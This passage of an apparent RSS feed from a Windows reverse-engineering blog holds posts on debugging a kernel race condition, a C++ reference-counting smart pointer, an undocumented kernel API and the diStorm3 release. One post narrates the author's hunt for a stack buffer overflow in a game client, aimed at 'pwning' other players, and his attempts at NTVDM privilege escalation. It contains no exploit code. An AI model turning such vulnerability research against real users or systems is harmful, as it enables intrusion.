		<category><![CDATA[Deadlock]]></category>
		<category><![CDATA[Race Conditions]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[WinDbg]]></category>

		<guid isPermaLink="false">http://www.ragestorm.net/blogs/?p=243</guid>
		<description><![CDATA[Actually I had a trouble to come up with a good title for this post, at least one that I was satisfied with. Therefore I will start with a background story, as always.
The problem started when I had to debug a huge software which was mostly in Kernel mode. And there was this critical section [...]]]></description>
			<content:encoded><![CDATA[<p>Actually I had a trouble to come up with a good title for this post, at least one that I was satisfied with. Therefore I will start with a background story, as always.<br />
The problem started when I had to debug a huge software which was mostly in Kernel mode. And there was this critical section (critsec from now on) synchronization object that wasn&#8217;t held always correctly. And eventually after 20 mins of trying to replicate the bug, we managed to crash the system with a NULL dereference. This variable was a global that everybody who after acquiring the critsec was its owner. Then how come we got a crash ? Simple, someone was touching the global out of it critsec scope. That&#8217;s why it was also very hard to replicate, or took very long.</p>
<p>The pseudo code was something like this:<br />
Acquire Crit-Sec<br />
g_ptr = &#8220;some structure we use&#8221;<br />
do safe task with g_ptr<br />
&#8230;<br />
g_ptr = NULL<br />
Release Crit-Sec</p>
<p>So you see, before the critsec was released the global pointer was NULLed again. Obvisouly this is totally fine, because it&#8217;s still in the scope of the acquired crit, so we can access it safely.</p>
<p>Looking at the crash dumps, we saw a very weird thing, but nothing surprising for those race conditions bugs. Also if you ask me, I think I would prefer dead-lock bugs to race conditions, since in dead lock, everything gets stuck and then you can examine which locks are held, and see why some thread (out of the two) is trying to acquire the lock, when it surely can&#8217;t&#8230; Not saying it&#8217;s easier, though.<br />
Anyway, back to the crash dump, we saw that the g_ptr variable was accessed in some internal function after the critsec was acquired. So far so good. Then after a few instructions, in an inner function that referenced the variable again, suddenly it crashed. Traversing back to the point where we know by the disassembly listing of the function, where the g_ptr was touched first, we knew it worked there. Cause otherwise, it would have crashed there and then, before going on, right? I have to mention that between first time reading the variable and the second one where it crashed, we didn&#8217;t see any function calls.<br />
This really freaked me out, because the conclusion was one &#8211; somebody else is tempering with our g_ptr in a <i>different</i> thread without locking the crit. If there were any function calls, might be that some of them, caused our thread to be in a Waitable state, which means we could accept APCs or other events, and then it could lead to a whole new execution path, that was hidden from the crash dump, which somehow zeroed the g_ptr variable. Also at the time of the crash, it&#8217;s important to note that the owner of the critsec was the crashing thread, no leads then to other problematic threads&#8230;</p>
<p>Next thing was to see that everybody touches the g_ptr only when the critsec is acquired. We surely know for now that someone is doing something very badly and we need to track the biatch down. Also we know the value that is written to the g_ptr variable is zero, so it limits the number of occurrences of such instruction (expression), which lead to two spots. Looking at both spots, everything <i>looked</i> fine. Of course, it looked fine, otherwise I would have spotted the bug easily, besides, we got a crash, which means, nothing <b>is</b> fine. Also, it&#8217;s time to admit, that part of the code was Windows itself, which made the problem a few times harder, because I couldn&#8217;t do whatever I wanted with it.</p>
<p>I don&#8217;t know how you guys would approach such a problem in order to solve it. But I had three ideas. Sometimes just like printf/OutputDebugPrint is your best friend, print logs when the critsec is acquired and released, who is waiting for it and just every piece of information we can gather about it. Mind you that part of it was Windows kernel itself, so we had to patch those functions too, to see, who&#8217;s acquiring the critsec and when. Luckily in debug mode, patchguard is down <img src='http://www.ragestorm.net/blogs/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Otherwise, it would be bloody around the kernel. So looking at the log, everything was fine, again, damn. You can stare at the god damned thing for hours and tracking the acquiring and releasing pairs of the critsec, and nothing is wrong. So it means, this is not going to be the savior.</p>
<p>The second idea, was to comment out some code portions with #if 0 surrouding the potential problematic code. And starting to eliminate the possibilities of which function is the cause of this bug. This is not such a great idea. Since a race condition can happen in a few places, finding one of them is not enough usually. Though it can teach you something about the original bug&#8217;s characteristics, then you can look at the rest of the code to fix that same thing. It&#8217;s really old school technique but sometimes it is of a help as bad as it sounds. So guess what we did? Patched the g_ptr = NULL of the kernel and then everything went smooth, no crashes and nothing. But the problem still was around, now we knew for sure it&#8217;s our bug and not MS, duh. And there were only a few places in our code which set this g_ptr. Looking at all of them, again, seemed fine. This is where I started going crazy, seriously.</p>
<p>While you were reading the above ideas, didn&#8217;t you come up with the most banal idea, to put a dumb breakpoint &#8211; on memory access, on g_ptr with a condition of &#8220;who writes zero&#8221;. Of course you did, that what you should have done in the first place. I hope you know that. Why we couldn&#8217;t do that?<br />
Because the breakpoint was fired tens of thousands times in a single second. Rendering the whole system almost to freeze. Assuming it took us 20 mins to replicate the bug, when we heavily loaded the system. Doing that with such a breakpoint set, would take days or so, no kidding. Which is out of question.</p>
<p>This will lead me to the next post. Stay tuned.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ragestorm.net/blogs/?feed=rss2&amp;p=243</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>SmartPointer In C++</title>
		<link>http://www.ragestorm.net/blogs/?p=226</link>
		<comments>http://www.ragestorm.net/blogs/?p=226#comments</comments>
		<pubDate>Wed, 03 Mar 2010 22:57:00 +0000</pubDate>
		<dc:creator>arkon</dc:creator>
				<category><![CDATA[Algorithms]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Win32]]></category>

		<guid isPermaLink="false">http://www.ragestorm.net/blogs/?p=226</guid>
		<description><![CDATA[Smart pointers, the way I see it, are there to help you with, eventually, two things: saving memory and auto-destruction. There are plenty kinds of smart pointers and only one type of a dumb pointer   I am going talk about the one that keeps a reference count to the data. To me they [...]]]></description>
			<content:encoded><![CDATA[<p>Smart pointers, the way I see it, are there to help you with, eventually, two things: saving memory and auto-destruction. There are plenty kinds of <em>smart</em> pointers and only one type of a dumb pointer <img src='http://www.ragestorm.net/blogs/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  I am going talk about the one that keeps a reference count to the data. To me they are one of the most important and useful classes I have used in my code. Also the AutoResource class I posted about, <a href="http://www.ragestorm.net/blogs/?p=81">here</a>, is another type of a <em>smart</em> pointer. I fell in love with smart pointers as soon as I learnt about them long time ago. However I only happened to write the implementation for this concept only once, in some real product code. Most of the times I got to use libraries that supply them, like ATL and stuff. Of course, when we write code in high level languages like Python, C#, Java, etc. We are not even aware to the internal use of them, mostly anyway.</p>
<p>This topic is not new or anything, it is covered widely on the net, but I felt the need to share a small code snippet with my own implementation, which I wrote from scratch. It seems that in order to write this class you don&#8217;t need high skills in C++, not at all. Though if you wanna get dirty with some end cases, like the ones described in &#8216;More Effective c++&#8217;, you need to know the language pretty well.</p>
<p>As I said earlier, the smart pointer concept I&#8217;m talking about here is the one that keeps the number of references to the real instance of the object and eventually when all references are gone, it will simply delete the only real instance. Another requirement from this class is to behave like a dumb pointer (that&#8217;s just the normal pointer the language supplies), my implementation is not as perfect as the dumb pointer, in the essence of operators and the operations you can apply on the pointer. But I think for the most code usages, it will be just enough. It can be always extended, and besides if you really need a crazy ultra generic smart pointer, Boost is waiting for you.</p>
<p>In order to keep a reference count for the instance, we need to allocate that variable, also the instance itself, and to make sure they won&#8217;t go anywhere as long as somebody else still points to it. The catch is that if it will be a member of the SmartPointer class itself, it will die when the SmartPointer instance goes out of scope. Therefore it has to be a pointer to <em>another</em> object, which will hold the number of references and the <em>real</em> instance. Then a few smart pointers will be able to point to this core object that holds the real stuff. I think this was the only challenge in understanding how it works. The rest is a few more lines to add functionality to get the pointer, copy constructor, assignment operator and stuff.</p>
<p>Of course, it requires a template class, I didn&#8217;t even mention that once, because I think it&#8217;s obvious.<br />
Here are the classes:</p>
<div class="dean_ch" style="white-space: wrap;">
template &lt;class T&gt; class SmartPtr <span class="br0">&#123;</span><br />
public:<br />
&nbsp; SmartPtr<span class="br0">&#40;</span>T o<span class="br0">&#41;</span><br />
&nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="co1">// Notice we create a DataObject that gets an object of type T.</span><br />
&nbsp; &nbsp; m_Obj = new DataObj<span class="br0">&#40;</span>o<span class="br0">&#41;</span>;<br />
&nbsp; <span class="br0">&#125;</span><br />
&nbsp; <span class="co1">// &#8230; A few of additional small methods are absent from this snippet, check link below</span><br />
private:<br />
&nbsp; <span class="co1">// Now, here we define an internal class, which holds the reference count and the real object&#8217;s instance.</span><br />
&nbsp; class DataObj <span class="br0">&#123;</span><br />
&nbsp; public:<br />
&nbsp; &nbsp; DataObj<span class="br0">&#40;</span>T o<span class="br0">&#41;</span> : m_ReferenceCount<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; m_Ptr = new T<span class="br0">&#40;</span>o<span class="br0">&#41;</span>; <span class="co1">// First allocate, this time the real deal</span><br />
&nbsp; &nbsp; &nbsp; AddRef<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// And only then add the first reference count</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">int</span> AddRef<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span> &nbsp;<span class="kw1">return</span> m_ReferenceCount++; &nbsp;<span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw4">void</span> Release<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>&#8211;m_ReferenceCount == <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; delete m_Ptr; <span class="co1">// Delete the instance</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; delete this; <span class="co1">// Delete the DataObj instance too</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; <span class="br0">&#125;</span><br />
&nbsp; T* m_Ptr; <span class="co1">// Pointer to a single instance of T</span><br />
&nbsp; <span class="kw4">unsigned</span> <span class="kw4">int</span> m_ReferenceCount; <span class="co1">// Number of references to the instance</span><br />
&nbsp;<span class="br0">&#125;</span>;</p>
<p><span class="co1">// This is now part of the SmartPointer class itself, you see? It points the DataObj and not T !</span><br />
DataObj* m_Obj;<br />
<span class="br0">&#125;</span>;<br />
&nbsp;</div>
<p>To see the full source code get it <a href="http://www.ragestorm.net/blogs/wp-content/uploads/SmartPointer.txt">SmartPointer.txt</a>.</p>
<p>I didn&#8217;t show it in the snippet above but the assignment operator or copy constructor which get a right hand of a smart pointer class, will simply copy the m_Ptr from it and add a reference to it. And by that, the &#8216;magic&#8217; was done.</p>
<p>To support multi-thread accesses to the class, you simply need to change the AddRef method to use InterlockedAdd. And to change the Release to use InterlockedSub, ahh of course, use InterlockedAdd with -1.<br />
And then you would be fully thread safe. Also note that you will need to use the returned value of the InterlockedAdd in the Release, rather than compare the value directly after calling the function on it. This is a common bug when writing multi-thread code. Note that if the type object you want to create using the SmartPointer doesn&#8217;t support multi-threading in the first place, nothing you can do in the smart pointer method themselves is going to solve it, of course.</p>
<p>I didn&#8217;t show it in the snippet again but the code supports the comparison to NULL on the SmartPointer variable. Though you won&#8217;t be able to check something like:<br />
if (!MySmartPtr) fail&#8230; It will shout at you that the operator ! is not supported. It takes exactly 3 lines to add it.</p>
<p>The only problem with this implementation is that you can write back to the data directly after getting the pointer to it. For me this is not a problem cause I never do that. But if you feel it&#8217;s not good enough for you, for some reason. Check out other implementations or just read the book I mentioned earlier.</p>
<p>Overall it&#8217;s really a small class that gives a lot. Joy</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ragestorm.net/blogs/?feed=rss2&amp;p=226</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Undocumented Kernel API Again…</title>
		<link>http://www.ragestorm.net/blogs/?p=220</link>
		<comments>http://www.ragestorm.net/blogs/?p=220#comments</comments>
		<pubDate>Wed, 24 Feb 2010 09:48:35 +0000</pubDate>
		<dc:creator>arkon</dc:creator>
				<category><![CDATA[OS Dev]]></category>
		<category><![CDATA[Reversing]]></category>

		<guid isPermaLink="false">http://www.ragestorm.net/blogs/?p=220</guid>
		<description><![CDATA[The function I&#8217;m going to talk about is nothing new. The annoying thing is that you can&#8217;t find it in the WDK. Sometimes you want to know the name of the calling process (suppose its image name is enough). But it can&#8217;t be used for security, because you can create a &#8216;logon.exe&#8217; and run it [...]]]></description>
			<content:encoded><![CDATA[<p>The function I&#8217;m going to talk about is nothing new. The annoying thing is that you can&#8217;t find it in the WDK. Sometimes you want to know the name of the calling process (suppose its image name is enough). But it can&#8217;t be used for security, because you can create a &#8216;logon.exe&#8217; and run it from the desktop directory, and it will be seen as &#8216;logon.exe&#8217;. Therefore it&#8217;s mostly useful for debugging or something.</p>
<p>So once you get a PEPROCESS and you wish to get its image name, you can call PsGetProcessImageFileName. We all know those hacks that scan the current PEPROCESS for &#8217;system&#8217; when the DriverEntry is being called and store the &lt;i&gt;offset&lt;/i&gt; for later use. But it&#8217;s not really needed anymore.</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw2">extern</span> <span class="st0">&quot;C&quot;</span> <span class="br0">&#123;</span></p>
<p><span class="kw2">extern</span> <span class="kw4">char</span>* PsGetProcessImageFileName<span class="br0">&#40;</span>PRPROCESS p<span class="br0">&#41;</span>;</p>
<p><span class="br0">&#125;</span></p>
<p>&#8230;</p>
<p><span class="me1">DbgPrint</span><span class="br0">&#40;</span><span class="st0">&quot;Calling process name is: %s<span class="es0">\n</span>&quot;</span>, PsGetProcessImageFileName<span class="br0">&#40;</span>PsGetCurrentProcess<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;</div>
<p>Retrieving the full path name of a process from kernel can be a b1tch. And I don&#8217;t know a good way to do it. Though I think the best way would be to get the ControlArea of the mapped image of that process, but IIRC it needs a KeAttachProcess which sucks&#8230; There are many forums which talk about it anyway&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ragestorm.net/blogs/?feed=rss2&amp;p=220</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trying to Pwn Stuff my way</title>
		<link>http://www.ragestorm.net/blogs/?p=217</link>
		<comments>http://www.ragestorm.net/blogs/?p=217#comments</comments>
		<pubDate>Sat, 30 Jan 2010 15:25:12 +0000</pubDate>
		<dc:creator>arkon</dc:creator>
				<category><![CDATA[Assembly]]></category>
		<category><![CDATA[Debugging]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.ragestorm.net/blogs/?p=217</guid>
		<description><![CDATA[I have been playing CS since 2001   Kinda addicted I can say. Like, after I had been in South America for half a year, suddenly I caught myself thinking &#8220;ohhh I wish I could play CS&#8221;&#8230; So I think it means I&#8217;m addicted. Anyway I really like that game. A few days ago [...]]]></description>
			<content:encoded><![CDATA[<p>I have been playing CS since 2001 <img src='http://www.ragestorm.net/blogs/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Kinda addicted I can say. Like, after I had been in South America for half a year, suddenly I caught myself thinking &#8220;ohhh I wish I could play CS&#8221;&#8230; So I think it means I&#8217;m addicted. Anyway I really like that game. A few days ago I was playing on some server and suddenly hl2 crashed. How good is that they generate a crash dump automatically, so I fired up WinDbg and took a look what happened, I found out that some pointer was set to 1, not NULL, mind you. Looking around the crash area I found a buffer overflow on the stack, but only for booleans, so I don&#8217;t know what was the point and how it was triggered or who sent it (server or another player). Anyway, since I like this game so much, there is only one thing I don&#8217;t like it, the stupid children you play with/against, they curse and TK (team-kill) like noobs. One day I promised to myself that I will pwn those little bastards. Therefore I started to investigate this area of crash, which I won&#8217;t say anything about the technical details here, so you won&#8217;t be able to replicate it, except that I found a stack buffer overflow. The way from there to pwn the clients who connect to a server I set up is really easy. The down side is that they have to connect to a server I control, which is quite lame, the point is to pwn other players on a remote server, so I still work on that. For me pwning would be to find a way to kick them from the server for instance, I don&#8217;t need to execute code on their machines. Besides since I do everything for fun, and I&#8217;m not a criminal, I have to mention that it&#8217;s for eductional purposes only <img src='http://www.ragestorm.net/blogs/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Being the good guy I am, in ZERT and stuff. I just wanted to add that the protocol used to be really hole-y before CS: Source came out, everything was vulnerable, really, you could tell the server that you wanted to upload a file to it (your spray-decal file) with a name longer than 256 characters, and bam, you own the server through a stupid strcpy to a buffer on the stack. But after CSS came out, the guys did a great job and I could hardly find stuff. What I found is in some isoteric parser that the input comes from the server&#8230; What was weird is that some functions were protected with a security cookie and some weren&#8217;t. I don&#8217;t know what configuration those guys use to compile the game, but they surely need to work it out better.</p>
<p>Another thing I&#8217;ve been trying to pwn for a long time now, without much success, I have to say, is NTVDM. This piece of software is huge, though most of it is mostly in user-mode, there are lots of related code in kernel. Recently a very crazy bug was found there (which can lead to a privilege escalation), something in the design, of how the kernel transfers control to BIOS code and returns. You can read more <a href="http://lists.grok.org.uk/pipermail/full-disclosure/2010-January/072549.html">here</a> to get a better clue. So it gave me some idea what to do about some potential buggy code I found. Suppose I found a code in the kernel that takes DS:SI and changes it to a flat pointer, the calculation is (DS &lt;&lt; 4) + SI. The thing is that DS is 16 bits only. The thing I thought is that with some wizardy I will be able to change DS to have some value above 0xffff. For some of you it might sound impossible, but in 32 bits and playing with pop ds, mov ds, ax and the like, I managed to put random values in the high 16 bits of DS (say it&#8217;s a 32 bit segment register). Though I don&#8217;t know if WinDbg showed me garbage or how it really worked, or what happened there, I surely saw big values in DS. So since I couldn&#8217;t reproduce this behavior in 16 bits under NTVDM, I tried to think of a way to set DS in the VDM Context itself. If you look at the exports of NTVDM you will see a function named &#8220;SetDS&#8221;, so taking a look of how it works I tried to use it inside my 16 bits code (exploiting some Escape bug I found myself and posted on this blog earlier), I could set DS to whatever arbitary value I wanted. Mind you, I set DS for the VM itself, not the DS of the usermode application of ntvdm.exe. And then I tried to trigger the other part in the kernel which takes my raw pointer and tries to write to it, but DS high 16 bits were zeros. Damn it. Then I gave to it more thought, and understood that what I did is not good enough. This is because once I set DS to some value, then I get to code to execute on the processor for real and then it enters kernel&#8217;s trap handler, DS high half gets truncated once again and I lost in the game. So I&#8217;m still thinking if it&#8217;s spossible. Maybe next step I should try is to invoke the kernel&#8217;s trap handler directly with DS set to whatever value I want, but that&#8217;s probably not possible since I can&#8217;t control the trap frame myself&#8230; or maybe I can <img src='http://www.ragestorm.net/blogs/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.ragestorm.net/blogs/?feed=rss2&amp;p=217</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>diStorm3 Released</title>
		<link>http://www.ragestorm.net/blogs/?p=214</link>
		<comments>http://www.ragestorm.net/blogs/?p=214#comments</comments>
		<pubDate>Thu, 14 Jan 2010 16:21:36 +0000</pubDate>
		<dc:creator>arkon</dc:creator>
				<category><![CDATA[diStorm]]></category>

		<guid isPermaLink="false">http://www.ragestorm.net/blogs/?p=214</guid>
		<description><![CDATA[Hey people
I just uploaded the source code of diStorm3 to Google Code.
Now you can enjoy SVN too! And of course, better source code and features from the disassembler itself.
It is officially released under the GPLv3.
Special thanks to Michael Rolle, for tons of suggestions, ideas and fixes. Also thanks to many others who reported buggy instructions.
In [...]]]></description>
			<content:encoded><![CDATA[<p>Hey people<br />
I just uploaded the source code of diStorm3 to <a href="http://code.google.com/p/distorm/">Google Code</a>.<br />
Now you can enjoy SVN too! And of course, better source code and features from the disassembler itself.<br />
It is officially released under the GPLv3.</p>
<p>Special thanks to Michael Rolle, for tons of suggestions, ideas and fixes. Also thanks to many others who reported buggy instructions.</p>
<p>In the next few weeks I will update the source code some more, for more compilers, etc. Going to re-do the webpage of diStorm. Hopefully will have some nice logo too. And the most important thing, I will make a somehwhat tutorial of how-to use the new disassembler with the newest features. Stay tuned!</p>
<p>Gil</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ragestorm.net/blogs/?feed=rss2&amp;p=214</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
